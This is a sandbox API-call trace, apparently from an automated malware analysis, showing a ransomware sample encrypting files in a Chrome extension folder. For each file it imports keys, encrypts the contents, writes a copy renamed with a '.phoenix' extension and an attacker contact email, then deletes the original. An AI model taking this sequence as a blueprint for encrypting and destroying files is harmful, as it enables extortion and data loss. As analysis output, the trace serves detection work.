	[0263.995] WriteFile (in: hFile=0x308, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x40, lpOverlapped=0x0) returned 1
	[0263.996] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0263.996] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.996] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.996] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.996] WriteFile (in: hFile=0x308, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.997] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.997] CloseHandle (hObject=0x304) returned 1
	[0263.997] CloseHandle (hObject=0x308) returned 1
	[0263.997] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html")) returned 1
	[0263.998] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.998] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2092) returned 1
	[0263.998] CloseHandle (hObject=0x308) returned 1
	[0263.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html")) returned 0x20
	[0263.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.999] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.999] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.999] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0263.999] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.999] ReadFile (in: hFile=0x308, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x82c, lpOverlapped=0x0) returned 1
	[0264.017] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x830, dwBufLen=0x830 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x830) returned 1
	[0264.017] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x830, lpOverlapped=0x0) returned 1
	[0264.018] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0264.018] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.018] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.018] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.018] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.018] CryptDestroyKey (hKey=0x151340) returned 1
	[0264.018] CloseHandle (hObject=0x308) returned 1
	[0264.018] CloseHandle (hObject=0x304) returned 1
	[0264.018] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\index.html")) returned 1
	[0264.021] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0264.022] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2486) returned 1
	[0264.022] CloseHandle (hObject=0x304) returned 1
	[0264.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js")) returned 0x20
	[0264.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.022] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0264.023] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.023] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.051] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0264.051] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.051] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x9b6, lpOverlapped=0x0) returned 1
	[0264.054] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x9c0) returned 1
	[0264.054] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x9c0, lpOverlapped=0x0) returned 1
	[0264.056] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0264.056] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.056] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30, dwBufLen=0x30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30) returned 1
	[0264.056] CryptDestroyKey (hKey=0x151340) returned 1
	[0264.056] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe2, lpOverlapped=0x0) returned 1
	[0264.056] CryptDestroyKey (hKey=0x151640) returned 1
	[0264.056] CloseHandle (hObject=0x304) returned 1
	[0264.056] CloseHandle (hObject=0x2f0) returned 1
	[0264.056] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.js")) returned 1
	[0264.057] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.058] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=19291) returned 1
	[0264.058] CloseHandle (hObject=0x2f0) returned 1
	[0264.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js")) returned 0x20
	[0264.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.059] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.059] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.059] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0264.059] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0264.059] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.059] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4b5b, lpOverlapped=0x0) returned 1
	[0264.075] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4b60) returned 1
	[0264.075] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4b60, lpOverlapped=0x0) returned 1
	[0264.077] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0264.077] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.077] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.077] CryptDestroyKey (hKey=0x151200) returned 1
	[0264.077] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.077] CryptDestroyKey (hKey=0x151180) returned 1
	[0264.077] CloseHandle (hObject=0x2f0) returned 1
	[0264.077] CloseHandle (hObject=0x304) returned 1
	[0264.077] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\common.js")) returned 1
	[0264.078] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0264.080] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3058) returned 1
	[0264.080] CloseHandle (hObject=0x304) returned 1
	[0264.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css")) returned 0x20
	[0264.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0264.081] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.081] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.082] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0264.082] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.082] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xbf2, lpOverlapped=0x0) returned 1
	[0264.097] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc00, dwBufLen=0xc00 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc00) returned 1
	[0264.097] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc00, lpOverlapped=0x0) returned 1
	[0264.098] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0264.098] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.098] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.098] CryptDestroyKey (hKey=0x151340) returned 1
	[0264.098] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.098] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.098] CloseHandle (hObject=0x304) returned 1
	[0264.098] CloseHandle (hObject=0x2f0) returned 1
	[0264.098] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.css")) returned 1
	[0264.099] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.099] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.100] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10521) returned 1
	[0264.100] CloseHandle (hObject=0x2f0) returned 1
	[0264.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js")) returned 0x20
